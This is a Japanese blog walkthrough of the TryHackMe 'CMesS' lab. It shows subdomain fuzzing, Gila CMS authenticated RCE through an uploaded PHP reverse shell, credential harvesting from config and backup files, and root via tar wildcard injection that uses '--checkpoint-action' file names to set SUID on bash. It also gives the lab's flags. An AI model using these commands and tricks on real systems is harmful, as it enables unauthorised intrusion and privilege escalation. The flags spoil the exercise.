0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】CMesS:Walkthrough

Posted at

概要

TryHackMe「CMesS」のWalkthroughです。

Task1

Q1.Compromise this machine and obtain user.txt

Hint.Have you tried fuzzing for subdomains?

/etc/hostsにレコードを追記します。

10.10.147.108   cmess.thm

ポートスキャンを実行します。

$ nmap -Pn -T4 -A -sC -sV -p- 10.10.147.108 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
|   256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_  256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp    open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 3 disallowed entries 
|_/src/ /themes/ /lib/
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-generator: Gila CMS

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.2p2
80 http Apache/2.4.18

80番ポートにアクセスします。

home.jpg

Gila CMSが使用されていると分かりました。

サブドメインを列挙します。

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.cmess.thm" -u http://cmess.thm -fw 522
dev                     [Status: 200, Size: 934, Words: 191, Lines: 31, Duration: 4765ms]

サブドメインを/etc/hostsに追記します。

10.10.147.108   cmess.thm dev.cmess.thm

dev.cmess.thmにアクセスするとandreのパスワードがKPFTN_f2yxe%だと分かりました。

dev.jpg

ディレクトリ列挙をします。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://cmess.thm/FUZZ -recursion -recursion-depth 1 -ic -c

admin                   [Status: 200, Size: 1580, Words: 377, Lines: 42, Duration: 318ms]

(省略)

/adminにアクセスするとログインフォームが表示されました。

admin login form.jpg

サブドメインで判明したEmail: andre@cmess.thm,Password: KPFTN_f2yxe%を使用してログインに成功しました。

dashboard.jpg

フッターからGila CMS version 1.10.9が分かりました。
脆弱性情報を検索するとRCEの脆弱性を発見しました。

$ searchsploit Gila CMS 1.10.9
------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                 |  Path
------------------------------------------------------------------------------- ---------------------------------
Gila CMS 1.10.9 - Remote Code Execution (RCE) (Authenticated)                  | php/webapps/51569.py
Gila CMS < 1.11.1 - Local File Inclusion                                       | multiple/webapps/47407.txt
------------------------------------------------------------------------------- ---------------------------------

ファイルアップロード機能を悪用するようです。
Content->File Managerからtmpフォルダにリバースシェル用のPHPファイルをアップロードします。

tmp file uplaod.jpg

/tmp/.htaccessファイルをallow from allに変更します。

htaccess allow.jpg

Netcatでリッスンします。

$ nc -lvnp 1234
listening on [any] 1234 ...

/tmp/php-reverse-shell.phpにアクセスするとwww-dataアカウントでリバースシェルを張れました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.147.108] 60596
Linux cmess 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 12:17:43 up  1:38,  0 users,  load average: 0.00, 0.44, 7.49
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

TTYの設定をします。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

/home配下を見るとandreアカウントを確認できました。

www-data@cmess:/$ ls -la /home
ls -la /home
total 12
drwxr-xr-x  3 root  root  4096 Feb  6  2020 .
drwxr-xr-x 22 root  root  4096 Feb  6  2020 ..
drwxr-x---  4 andre andre 4096 Feb  9  2020 andre

パスワードを探します。

/var/www/html/config.phpを見るとMySQLの認証情報を得られました。

/var/www/html/config.php
<?php

$GLOBALS['config'] = array (
  'db' => 
  array (
    'host' => 'localhost',
    'user' => 'root',
    'pass' => 'r0otus3rpassw0rd',
    'name' => 'gila',
  ),

MySQLにログインし、データベース情報を見ましたが情報は得られませんでした。

www-data@cmess:/var/www/html$ mysql -u root -p
mysql -u root -p
Enter password: r0otus3rpassw0rd
mysql> use gila
mysql> select * from user;
select * from user;
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
| id | username | email           | pass                                                         | active | reset_code | created             | updated             |
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
|  1 | andre    | andre@cmess.thm | $2y$10$uNAA0MEze02jd.qU9tnYLu43bNo9nujltElcWEAcifNeZdk4bEsBa |      1 |            | 2020-02-06 18:20:34 | 2020-02-06 18:20:34 |
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
1 row in set (0.00 sec)

ディレクトリを探索していると/opt/.password.bakを発見しました。

www-data@cmess:/var/www/html$ ls -la /opt
ls -la /opt
total 12
drwxr-xr-x  2 root root 4096 Feb  6  2020 .
drwxr-xr-x 22 root root 4096 Feb  6  2020 ..
-rwxrwxrwx  1 root root   36 Feb  6  2020 .password.bak

ファイルの内容からパスワードを得られました。

/opt/.password.bak
andres backup password
UQfsdCB7aAP6

andreアカウントでSSH接続します。

$ ssh andre@cmess.thm
andre@cmess:~$

/home/andre/user.txtからユーザーフラグを入手できました。

/home/andre/user.txt
thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}

A.thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}

Q2.Escalate your privileges and obtain root.txt

sudo -l,SUIDを確認しましたが、権限昇格に繋がりそうなものはなかったので/etc/crontabを確認しました。

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 *   * * *   root    cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *

rootアカウントでクロンジョブが設定されています。
tarコマンドのワイルドカードを調べると権限昇格のテクニックを発見しました。

ワイルドカードを指定している場合、オプションをファイル名にするとtarコマンドのオプションとして認識するようです。

/home/andre/backupにファイルを作成します。

/home/andre/backup/exploit.sh
#!/bin/bash
chmod u+s /bin/bash
$ chmod +x exploit.sh
$ echo "" > "--checkpoint-action=exec=sh exploit.sh"
$ echo "" > --checkpoint=1

ファイルを作成できました。

$ ls -la
-rw-rw-r-- 1 andre andre    1 Sep 24 12:37 --checkpoint=1
-rw-rw-r-- 1 andre andre    1 Sep 24 12:37 --checkpoint-action=exec=sh exploit.sh
-rwxrwxr-x 1 andre andre   32 Sep 24 12:39 exploit.sh

時間をおいて/bin/bashを確認するとSUIDが設定されています。

$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1037528 May 16  2017 /bin/bash

-pオプションで実行してroot権限に昇格できました。

$ /bin/bash -p
bash-4.3# whoami
root

/root/root.txtからルートフラグを入手できます。

/root/root.txt
thm{9f85b7fdeb2cf96985bf5761a93546a2}

A.thm{9f85b7fdeb2cf96985bf5761a93546a2}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?